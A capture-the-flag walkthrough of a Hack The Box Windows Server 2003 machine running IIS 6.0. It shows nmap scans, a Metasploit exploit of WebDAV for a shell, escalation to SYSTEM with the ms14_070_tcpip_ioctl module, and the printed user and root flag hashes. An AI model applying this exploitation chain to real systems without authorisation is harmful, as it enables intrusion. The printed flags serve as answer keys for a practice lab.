Reading Time: 3 min read
Start 12:56 14-08
10.10.10.14
==Nmap==
┌──(kali㉿kali)-[~]└─$ nmap 10.10.10.14Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-14 11:56 ISTNmap scan report for 10.10.10.14Host is up (0.016s latency).Not shown: 999 filtered tcp ports (no-response)PORT STATE SERVICE80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 4.26 seconds
┌──(kali㉿kali)-[~]└─$ nmap -sC -sV -sT -T5 -p- 10.10.10.14Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-14 11:56 ISTNmap scan report for 10.10.10.14Host is up (0.016s latency).Not shown: 65534 filtered tcp ports (no-response)PORT STATE SERVICE VERSION80/tcp open http Microsoft IIS httpd 6.0|_http-title: Under Construction| http-methods:|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH| http-webdav-scan:| Server Type: Microsoft-IIS/6.0| WebDAV type: Unknown| Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH|_ Server Date: Wed, 14 Aug 2024 10:58:28 GMT|_http-server-header: Microsoft-IIS/6.0Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 65.54 seconds
For this version of Microsoft IIS httpd 6.0
we’ve found an exploit:
Metasploit
Section titled “Metasploit”There’s a metasploit
module for it:
Configure the options and just run the exploit.
After getting the shell we can systeminfo
the target:
c:\windows\system32\inetsrv>systeminfosysteminfo
Host Name: GRANPAOS Name: Microsoft(R) Windows(R) Server 2003, Standard EditionOS Version: 5.2.3790 Service Pack 2 Build 3790OS Manufacturer: Microsoft CorporationOS Configuration: Standalone ServerOS Build Type: Uniprocessor FreeRegistered Owner: HTBRegistered Organization: HTBProduct ID: 69712-296-0024942-44782Original Install Date: 4/12/2017, 5:07:40 PMSystem Up Time: 0 Days, 0 Hours, 17 Minutes, 15 SecondsSystem Manufacturer: VMware, Inc.System Model: VMware Virtual PlatformSystem Type: X86-based PCProcessor(s): 1 Processor(s) Installed. [01]: x86 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 MhzBIOS Version: INTEL - 6040000Windows Directory: C:\WINDOWSSystem Directory: C:\WINDOWS\system32Boot Device: \Device\HarddiskVolume1System Locale: en-us;English (United States)Input Locale: en-us;English (United States)Time Zone: (GMT+02:00) Athens, Beirut, Istanbul, MinskTotal Physical Memory: 1,023 MBAvailable Physical Memory: 762 MBPage File: Max Size: 2,470 MBPage File: Available: 2,299 MBPage File: In Use: 171 MBPage File Location(s): C:\pagefile.sysDomain: HTBLogon Server: N/AHotfix(s): 1 Hotfix(s) Installed. [01]: Q147222Network Card(s): N/A
c:\windows\system32\inetsrv>
We can now use metasploit
to look up vulnerabilities for this version, it’s called local_exploit_suggester
.
Configure it to your current session, and then run the exploit afterwards.
From these it appears that exploit/windows/local/ms14_070_tcpip_ioctl
is most interesting to us.
Let’s use it and set up the options. First we’ll have to migrate to a process running under NT AUTHORITY\NETWORK SERVICE
which we can find using ps
in meterpreter
.
We’ll migrate to 3796
.
meterpreter > migrate 3796[*] Migrating from 3848 to 3796...[*] Migration completed successfully.meterpreter >
Now we can use the ms14_070_tcpip_ioctl
exploit.
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > sessions -i 1[*] Starting interaction with 1...
meterpreter > getuidServer username: NT AUTHORITY\SYSTEMmeterpreter >
Great, now we can get those flags.
==user.txt==
go into Documents and settings
and from here we can get both flags:
Since I had trouble accessing the files via the shell
I instead opted for the meterpreter session
:
# Failed attemptsC:\>cd "Documents and Settings"cd "Documents and Settings"
C:\Documents and Settings>cd Administratorcd AdministratorAccess is denied.
meterpreter > cat "C:\Documents and Settings\Harry\Desktop\user.txt"bdff5ec67c3cff017f2bedc146a5d869
==root.txt==
Same for the root flag
:
meterpreter > cat "C:\Documents and Settings\Administrator\Desktop\root.txt"9359e905a2c35f861f6a57cecf28bb7b
Finished 14:05